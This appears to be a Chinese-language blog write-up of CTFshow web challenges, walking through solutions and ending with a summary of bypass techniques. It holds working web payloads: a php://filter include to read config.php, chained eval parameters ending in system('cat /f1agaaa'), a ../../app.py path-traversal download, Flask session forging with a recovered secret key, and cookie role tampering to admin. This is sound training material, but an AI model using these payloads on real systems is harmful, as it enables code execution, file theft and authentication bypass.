CTFshow-web方向(更新中)
萌新杯
web-14
过滤了括号以及分号
GET:?c=include$_POST['a']?> 、 POST:a=php://filter/read=convert.base64-encode/resource=config.php

密码3
摩斯密码解密

得到一个摩斯酷但培根更酷,
MMDDMDMDMMMDDDDMDD%u3MMMMMDDMDMDDM
WEB应用与安全防护
第一章
Base64编码隐藏
查看网页源码,找到登录脚本,发现有个base64编码的正确密码,结合下方的登陆成功逻辑,确定解码后的密码就是flag。

解码

HTTP头注入
使用上次的密码是试一试能不能登录

密码正确,但是提示必须使用ctf-show-brower浏览器来访问页面

得到flag

Base64多层嵌套解码
查看源码,与编码隐藏相同,注意到这里有五层编码,解码即可
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";
function validatePassword(input) {
let encoded = btoa(input);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded) === correctPassword;
}
先解码一次
IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5得到的就是第四步encoded = btoa('aB3' + encoded + 'qW9').substr(2);处理之后的编码
第四步将ab3+encoded+qw9 进行编码,然后在第三个字符串开始截取
我们先解码一次就能得到IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5
同时注意到ab3编码YUIz ,qw9编码cVc5
去除添加的字符串,处理之后应该是UFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9,这就是第三步处理之后的编码
然后解码一次得到PT13U3FkRFM0SlRSNjEwTUY=
encoded.split('').reverse().join('')这个方法是反转编码
用脚本先解码一次,再反转编码
import base64
def recover_original(encoded_b64):
# 1️⃣ 先 Base64 解码
decoded = base64.b64decode(encoded_b64).decode('utf-8')
# 2️⃣ 再反转字符串
original = decoded[::-1]
return original
if __name__ == "__main__":
encoded_after = "==wSqdDS4JTR610MF"
original_string = recover_original(encoded_after)
print("原字符串是:", original_string)
得到第二步处理后的代码FM016RTJ4SDdqSw==
这一步去除了前面三个字符,需要补充上三个字符进行解码,然后去除xH7jK然后得到了第一步处理后的编码,将第一步处理后的编码再次解码就是密码
这里需要利用python进行穷举出所有的结果
import base64
import itertools
import string
# 待处理字符串
after_slice = "FM016RTJ4SDdqSw=="
# Base64 字符集
B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 输出文件
OUT_FILE = "candidates.txt"
def safe_b64decode(b64_str: str):
"""安全 Base64 解码,失败返回 None"""
try:
# 补齐 = 保证长度是 4 的倍数
pad = (-len(b64_str)) % 4
if pad:
b64_str += "=" * pad
return base64.b64decode(b64_str)
except Exception:
return None
def is_valid_utf8(b: bytes):
try:
b.decode("utf-8")
return True
except UnicodeDecodeError:
return False
def main():
total = 0
found = 0
with open(OUT_FILE, "w", encoding="utf-8") as fout:
for prefix_tuple in itertools.product(B64_CHARS, repeat=3):
prefix3 = ''.join(prefix_tuple)
total += 1
full_b64 = prefix3 + after_slice
# 第一次解码
decoded = safe_b64decode(full_b64)
if decoded is None:
continue
# 去掉尾部 xH7jK
if len(decoded) < 5:
continue
first_layer = decoded[:-5]
# 第二次解码(去掉尾部 xH7jK 后的 bytes 直接当作 Base64)
second_layer_str = first_layer.decode("latin1") # 按 latin1 避免 decode 错误
second_layer_decoded = safe_b64decode(second_layer_str)
if second_layer_decoded is None:
continue
# 检查 UTF-8 合法性
if not is_valid_utf8(second_layer_decoded):
continue
final_text = second_layer_decoded.decode("utf-8")
fout.write(final_text + "\n")
found += 1
if total % 50000 == 0:
print(f"[progress] tried {total} prefixes, found {found} candidates")
print(f"Done. tried {total} prefixes, found {found} candidates. Results in '{OUT_FILE}'")
if __name__ == "__main__":
main()
得到一个密码字典,利用python进行爆破,找到登录请求,然后抓包。

post请求,路径是check.php
设置payload,导入字典,然后传入主体参数。

这里遇到问题了,需要更改请求头


发现返回长度是2532的都能获取到flag,可能是密码中只要包含7316都能正常登录

用hacker验证一下

中间人攻击
压缩包中一个数据流、一个日志,日志被加密了
用wireshark打开数据流,发现没有http流
将日志文件导入,编辑->首选项->Protocols->TLS

导入日志文件,发现多了两个HTTP的数据
追踪一下

Cookie伪造
查看源码没什么提示,查看cookie现在也没什么用

利用弱密码进行登录

发现cookie中多了一项,将role的值修改为admin试试

成功

第二章
菜狗杯
我是谁??

web签到
CTF-show菜狗杯web签到
访问页面

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
利用eval进行执行命令
首先传入cookieCTFshow-QQ群=a
Cookie: CTFshow-QQ%E7%BE%A4:=a
中文用url编码
然后eval变为
eval($_REQUEST[$_GET[$_POST['a']]][6][0][7][5][8][0][9][4][4]);
post传入参数 a=b;
然后eval变为
eval($_REQUEST[$_GET['b']][6][0][7][5][8][0][9][4][4]);
get传入参数 b=c
然后eval变为
eval($_REQUEST['c'][6][0][7][5][8][0][9][4][4]);
对于request请求,可以使用任意方式进行传参,写进主体中,传参为
c[6][0][7][5][8][0][9][4][4]=system('ls')

利用命令查看根目录

发现flagaaa,构造payloada=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');

web2 c0me_t0_s1gn

需要用上帝的眼睛看~,查看源码

给了flag前半部分的形式,剩下的需要用控制台,打开控制台

运行脚本

我的眼里只有$

extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值
``${...}(或多个 $)表示“多层变量变量(variable variables)解引用”。如果从 $ 出发到目标变量需要经过 **N** 次“指向”关系($ -> a -> b -> ... -> target),那么需要 **N 层 $**(即 ${${...${$}...}},或写成 N 个 $紧跟$)来把最终的变量值取出来,eval(...) 就会把那个最终取到的字符串当作 PHP 代码执行。

因为这里有36个$,最后一个变量执行命令,让_=a;a=b一直重复下去35次,最后一个写入执行的命令
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('tac /f1agaaa');

抽老婆
打开没发现有用的信息,用dirsearch扫描一下

有一个console页面可以返回

要远程运行命令
之前扫描出来的download页面没有携带参数,

传入参数进行访问

可以看到源码位置,根据返回值尝试下载源码
download?file=../../app.py

有了源码就简单多了,只需要验证seesion即可
直接访问

想得太简单了,直接让session=isadmin了,结果发现不对,

原来这个用的应该是JWT方式认证,里面签名要用到SECRET_KEY;于是我们将isadmin的值更改后,使用密钥SECRET_KEY重新加密生成一个session。
查看代码可以看到SECRET_KET的构成


python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi':' 6ae9f2cca372305c8edcf15a22f660d8.jpg','isadmin':True}"


更改cookie中的seesion之后

一言既出

传入参数==114514然后intval处理之后等于1919810

114514%2B1805296
get只会获得前面的数,而intval函数会将两个数相加。
驷马难追

这一关过滤了括号和注释符,用上一关的payload即可

TAPTAPTAP
查看源码,没什么信息,查看js


WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ=
base64编码的东西,解码

给了flag文件的路径以及文件名

总结
RCE代码执行
intval与preg_match绕过方法:
进制绕过二进制或者八进制或者十六进制等等
双重取反~~绕过
有时候需要编码需要绕过的字符
$a=~("system"); echo urlencode($a);
换行\n绕过
编码绕过
SQL查询中,如果我们将Base64编码的字符串直接拼接到SQL语句中,并且使用单引号包围,那么如果Base64编码的字符串中包含单引号,就会破坏SQL语句的结构,导致SQL注入或者语法错误。
常见的命令执行函数
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()
过滤;
使用?>绕过
使用if绕过
flask框架中的session伪造
session的作用
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息
session有两种储存方式,一种是存在客户端的cookies中,另一种存在服务器中
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名
时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。
session伪造工具

浙公网安备 33010602011771号